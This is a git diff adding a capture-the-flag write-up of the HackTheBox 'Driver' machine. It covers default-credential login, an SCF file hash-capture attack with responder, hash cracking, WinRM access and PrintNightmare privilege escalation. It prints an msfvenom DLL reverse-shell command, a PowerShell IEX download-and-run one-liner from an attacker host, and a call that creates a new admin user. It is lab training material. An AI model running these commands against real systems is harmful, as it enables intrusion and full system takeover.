diff --git a/HackTheBox/Driver.md b/HackTheBox/Driver.md new file mode 100644 index 0000000..e99584d --- /dev/null +++ b/HackTheBox/Driver.md @@ -0,0 +1,154 @@ +# HackTheBox-Driver + +## NMAP + +```bash +PORT STATE SERVICE REASON VERSION +80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 +| http-auth: +| HTTP/1.1 401 Unauthorized\x0D +|_ Basic realm=MFP Firmware Update Center. Please enter password for admin +| http-methods: +| Supported Methods: OPTIONS TRACE GET HEAD POST +|_ Potentially risky methods: TRACE +|_http-server-header: Microsoft-IIS/10.0 +|_http-title: Site doesn't have a title (text/html; charset=UTF-8). +135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC +445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) +5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) +|_http-server-header: Microsoft-HTTPAPI/2.0 +|_http-title: Not Found +Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows + +``` + +## PORT 139/445 (SMB) + + + +Checking smb share through anonymous login it seems we don't have access it to it so let's move on to web server + +## PORT 80 (HTTP) + + + +On visiting web server , it's going to ask credentials so let's try `admin;admin` to see if this works + + + +And it did it ,so let's see what we have here + + + +It's running on php , I checked to include index file with `php` extension and this loaded the page so this page is written on php so just some basic enumeration here. There are only two pages here , the other page is about uploading a firmware for the printer + + + +I tried uploading something but it doesn't seem that I can access that file from anywhere so I ran `gobuster` and it also didn't found anyhing interesting + + + +Now I kept thinking but nothing was coming to my mind until I focused on these lines " upload the respective firmware update to our file share" , so maybe the file we upload here is going to smb share , so here I learned a new attack which is known as SCF File attack `Shell Command File`. + +So we need to create a `.scf` file , it will look like this + + + +Now we will have to upload this file and at the same time run `responder` to catch NTMLv2 hash + +```bash +responder -I tun0 -rdw -v +``` + + + +Just copy any of the hash , they all are the same, the only different is the time difference (in seconds) and save the hash in a file , and crack it with `hashcat` + + + + + +Now to verify if we have valid creds , we can use `crackmapexec` to verify it on smb + + + + + +We only have read access here so we can't get a shell using `smbexec` or `psexec`. Since WinRM is open (port 5985) , we can check if we can get a shell with that + + + +It's showing us the status "pwned" meaning that we can get a shell + + + +## Privilege Escalation (Print Nightmare Python) + +Assuming from the web page that there's a print spooler service running , we can test if we can exploit `PrintNightmare` , now this requires some setup as we need to clone the specifc impacket repo + +https://github.com/cube0x0/CVE-2021-1675 + +After cloning it we would then have to run `python3 ./setup.py install` and copy the contents of `CVE-2021-1675.py` , start the smb server using `service smbd restart` and generate a dll reverse shell + +```bash +msfvenom x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.125 LPORT=2222 -f dll -o /var/smb/shell.dll +``` + +Make sure that you have made read access to other group for this file + + + + + +Now to lauch the script and catch the shell + + + + + + +## Print Nightmare (Powershell) + +We can achieve SYSTEM on this machine through powershell as well , without the need of setting up a smb server + +So we'll use this POC for the pring nightmare exploit + +https://github.com/calebstewart/CVE-2021-1675 + + + +After transferring it to target machine , let's import the ps1 file. But if we try to import the script , it's going to show us an error "running scripts is disabled on this system" + + + +So to bypass this , we need to download the file using `IEX` + +```powershell +IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.120/nightmare.ps1'); +``` + + + +An advantage of downloading it this way is that not only it downloads the file but it will actually import the script so we don't have to import it manually + +```powershell +Invoke-Nightmare -NewUser "USER" -NewPassword "PASS" +``` + + + +We can see that the user has been created + + + +And we can then just switch to this user by logging in with `evil-winrm` + + + +## References + +- https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/ +- https://www.jaacostan.com/2021/07/printnightmare-cve-2021-1675-poc.html +- https://github.com/cube0x0/CVE-2021-1675 +- https://github.com/calebstewart/CVE-2021-1675 +- https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70